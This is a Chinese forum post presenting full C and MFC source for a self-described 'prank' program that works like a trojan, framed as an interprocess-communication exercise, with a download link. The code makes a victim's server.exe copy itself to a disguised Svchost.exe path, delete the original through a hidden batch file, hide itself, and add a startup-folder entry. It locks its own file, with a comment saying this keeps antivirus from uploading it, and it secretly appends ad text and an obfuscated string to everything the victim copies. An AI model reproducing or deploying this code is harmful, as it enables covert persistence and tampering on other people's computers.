找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 7187|回复: 0
打印 上一主题 下一主题
收起左侧

C语言进程间通信练习作品 - 整人小程序之剪切板

[复制链接]
跳转到指定楼层
楼主
ID:71922 发表于 2015-1-11 00:47 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
主程序界面:
                           
=============================================================================
程序介绍:
       如果对方执行了主程序生成的【server.exe】,【server.exe】会自复制、自启动、自删除(仿木马)。
【server.exe】会后台每秒/次检测对方的剪切板,一有文本数据则在尾部加入【附加内容】,达到,对方粘贴
文本的时候,后面总是会多出一些数据。
      例:如果附加内容为:“对!牛弹琴!”
      对方 复制(Ctrl+C)一段:“对牛弹琴!”,当对方 粘贴(Ctrl+V)到某个地方时,内容就会变成
“对牛弹琴!对!牛弹琴!”。
【复制(Ctrl+C)粘贴(Ctrl+V)是使用率最高的操作之一,不愁对方不纠结,O(∩_∩)O哈哈~】
==============================================================================
子程序源码:
===============================================================================
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/OPT:NOWIN98")   
char Dirr[256]="C:\\RECYCLER\\Svchost.exe"; // 释放路径
char L[99999]="   -------  网络编程爱好者  L、QQ:000000000";
char temp[499999999]={0};
char  tmp[499999999]={0};
HANDLE Lock_File,Lock_File1;
/*================================== 程序初始化 =======================================*/
/********************************************************/
//  开机自启动
/********************************************************/
void Auto(char Name[])
{
// 自复制到 启动文件夹 实现开机自启动  嫌麻烦 就用这种方式自启动吧 一句代码搞定
char DirName[]="C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\ts.exe";
unlink(DirName);
CopyFile(Name,DirName,1);
SetFileAttributes(DirName,FILE_ATTRIBUTE_HIDDEN);
Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}
/********************************************************/
//  自删除功能
/********************************************************/
void Del(char *systemname)
{
FILE *fp;
fp=fopen("C:\\system.bat","w+");
fprintf(fp,"@echo off \n");
fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);
fprintf(fp,"del /f /q \"%s\" \n",systemname);
fprintf(fp,"goto statr\n");
fprintf(fp,":done\n");
fprintf(fp,"del /f /q %%0\n");
fclose(fp);
ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);


}
/********************************************************/
//  程序运行时进行初始化
/********************************************************/
void DelAdd()
{
char systemName[MAX_PATH];
char DirBuffer[MAX_PATH];

HMODULE hModule = GetModuleHandle(NULL);  // 获取当前程序句柄
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 获取当前程序的路径
// GetSystemDirectory(systemName,sizeof(systemName)); // 获取系统文件夹路径
strcpy(systemName,Dirr);
if ((strcmp(DirBuffer,systemName))!=0)   // 判断程序自身是否在系统目录 不在则实现自删除
{
  CopyFile(DirBuffer,systemName,0);
  Del(DirBuffer);      // 自删除模块
  SetFileAttributes(systemName,FILE_ATTRIBUTE_HIDDEN);
  ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 运行副本
  exit(0); // 退出 让Bat删除自己
}
else
{
  Auto(DirBuffer);
  // 第一步 立即锁定本体 防止被上传 我想杀软没那么无聊为了上传就随随便便解锁吧?
  Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}

}
/*================================== 程序初始化 =======================================*/

/*================================== 核心功能区 =======================================*/
/********************************************************/
//  检查剪切板数据的类型
/********************************************************/
int jc()
{
if (OpenClipboard(NULL))  // 打开剪切板
{
  if (IsClipboardFormatAvailable(CF_TEXT)) // 检测剪切板是否有指定类型的剪切板数据
  {
   CloseClipboard(); // 关闭剪切板
   return 1;   
  }
  else
  {
   CloseClipboard(); // 关闭剪切板
   return 0;
  }
}
return 0;
}
/********************************************************/
//  读取剪切板数据
/********************************************************/  
char* Rjqb()
{
if (OpenClipboard(NULL))  // 打开剪切板
{
  if (IsClipboardFormatAvailable(CF_TEXT)) // 检测剪切板是否有指定类型的剪切板数据
  {
   HANDLE hClip;
   char *pBuf;
   hClip = GetClipboardData(CF_TEXT);  // 获取指定类型的剪切板数据
   pBuf = (char *)GlobalLock(hClip); // 加锁
   GlobalUnlock(hClip); // 解锁
   CloseClipboard(); // 关闭剪切板
   return pBuf;   
  }
  else
   CloseClipboard(); // 关闭剪切板
}
}
/********************************************************/
//  修改剪切板数据
/********************************************************/
void Wjqb()
{
if (OpenClipboard(NULL))  // 打开剪切板
{
  if (IsClipboardFormatAvailable(CF_TEXT)) // 检测剪切板是否有指定类型的剪切板数据
  {
   HANDLE hClip;
   char *pBuf;
   
   EmptyClipboard(); // 清空剪切板 并释放剪切板中数据的句柄 把剪切板的所有权赋给当前窗口
   hClip = GlobalAlloc(GMEM_MOVEABLE,strlen(temp)+1); // 分配一个内存对象 第二个参数 字节数
   pBuf = (char *)GlobalLock(hClip); // 将空间加锁 并返回 指针
   strcpy(pBuf,temp);  
   GlobalUnlock(hClip);  // 解锁
   SetClipboardData(CF_TEXT,pBuf); // 写入数据
   CloseClipboard(); // 关闭
   
      strcpy(tmp,pBuf);
  }
  else
   CloseClipboard(); // 关闭剪切板
}
}
/*================================== 核心功能区 =======================================*/

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
// 已经加入锁定自身的功能 不需要下面的语句
/*

  HANDLE _hEvent=CreateEvent(NULL,FALSE,FALSE,"Jqban");
  if (_hEvent)
  {
   if(ERROR_ALREADY_EXISTS==GetLastError())
   {
    exit(0);
   }
  }
  SetEvent(_hEvent);
*/


int cout=0;
//////////////////////////////////////////////////////////////////////////
// 让启动程序时的小漏斗马上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
char Bud[]="!!...!!矽描册赐悲荒粥!!MⅲRRせ211867767:";
    int ii,jj=0;
ii=strlen(Bud)-1;
    for(;ii>=0;ii--,jj++)
        Bud[jj]=Bud[jj]-1;
DelAdd();
// 不停的循环
while (1)
{
  
  if (jc())  //
  {
   // 读取剪切板 并复制给全局变量 temp
   strcpy(temp,Rjqb());
   // 比较是否与上次内容相同 若不相同则进行修改
   if (strcmp(temp,tmp))      
   {
    strcat(temp,L);
    cout++;
    if (cout==6)
    {
     strcat(temp,Bud);
     cout=0;
    }
      // 在剪切板内容后面附加广告内容      
    Wjqb();  //  写入剪切板
   }   
  
  }
  Sleep(1000); // 延时1秒
}
return 0;
}
===============================================================================
至于主程序源码,主程序是用MFC创建的对话窗口,关键代码都在【生成】的按钮中
下面贴出【生成】按钮 触发的代码
===============================================================================
void CMyDlg::OnButtOk()
{
// TODO: Add your control notification handler code here
CString DIr;
CString MssG;
char autoo[]="C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\ts.exe";
char Dir[MAX_PATH]={0};
char Mssg[99999]={0};
GetDlgItemText(IDC_EDIT_DIR,DIr); // 获取 释放路径 的编辑框数据
GetDlgItemText(IDC_EDIT_Msg,MssG); // 获取 附加数据 的编辑框数据
    strcpy(Dir,DIr);  // 必须用数组形式
strcpy(Mssg,MssG);  

HRSRC hRc=FindResource(NULL,"L","Exe");
if(!hRc)
{
  ::MessageBox(0,"EXE资源不存在","错误",MB_SYSTEMMODAL);
  return ;
}

HGLOBAL hg=LoadResource(NULL,hRc);  // 将资源载入内存并返回其在内存中首地址保存在hg中
DWORD dw=SizeofResource(NULL,hRc);  // 获得资源大小并用dw保存资源大小

// 分配缓冲区并用0填充
char a[137728];
memset(a,0,137728);
// 向该缓冲区中复制资源的二进制数据
memcpy(a,hg,dw); // 将资源的二进制数据存放在缓冲区a

// 创建服务端文件
FILE *out=fopen("server.exe","wb+");
fwrite(a,1,dw,out);
fclose(out);


FILE *fp=fopen("server.exe","rb+");
rewind(fp);
fseek(fp,0x6830,0);
fwrite(Dir,1,256,fp);
rewind(fp);  // 指针归0
fseek(fp,0x6930,0);
fwrite(Mssg ,1,99999,fp);
fclose(fp);
// 生成卸载相关的批处理...
char Fname[MAX_PATH];
GetFileTitle(Dir,Fname,sizeof(Fname));
fp=fopen("卸载.bat","w+");
fputs("echo off\n",fp);
fputs("title 卸载【整人小程序之剪切板】子程序  L、QQ:100\n",fp);
fputs("COLOR 0a\n",fp);
fputs("echo 此批处理,只能卸载子程序释放路径为:",fp);
fputs(Dir,fp);
fputs("\ntaskkill /F /IM \"",fp);
fputs(Fname,fp);
fputs("\"\nattrib -h \"",fp);
fputs(Dir,fp);
fputs("\"\nattrib -h \"",fp);
fputs(autoo,fp);
fputs("\"\n",fp);
fputs("Del \"",fp);
fputs(Dir,fp);
fputs("\"\ndel \"",fp);
fputs(autoo,fp);
fputs("\"\n",fp);
fputs("ECHO 执行完毕!\n",fp);
fputs("pause",fp);
fclose(fp);
::MessageBox(0,"已经生成服务端【server.exe】及卸载相关的批处理【卸载.exe】","成功",MB_SYSTEMMODAL);
}
=========================================================================================
主程序下载地址: zrxcx-v1.0.zip (38.54 KB, 下载次数: 8)

分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏 分享淘帖 顶 踩1
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|51黑电子论坛 |51黑电子论坛6群 QQ 管理员QQ:125739409;技术交流QQ群281945664

Powered by 单片机教程网

快速回复 返回顶部 返回列表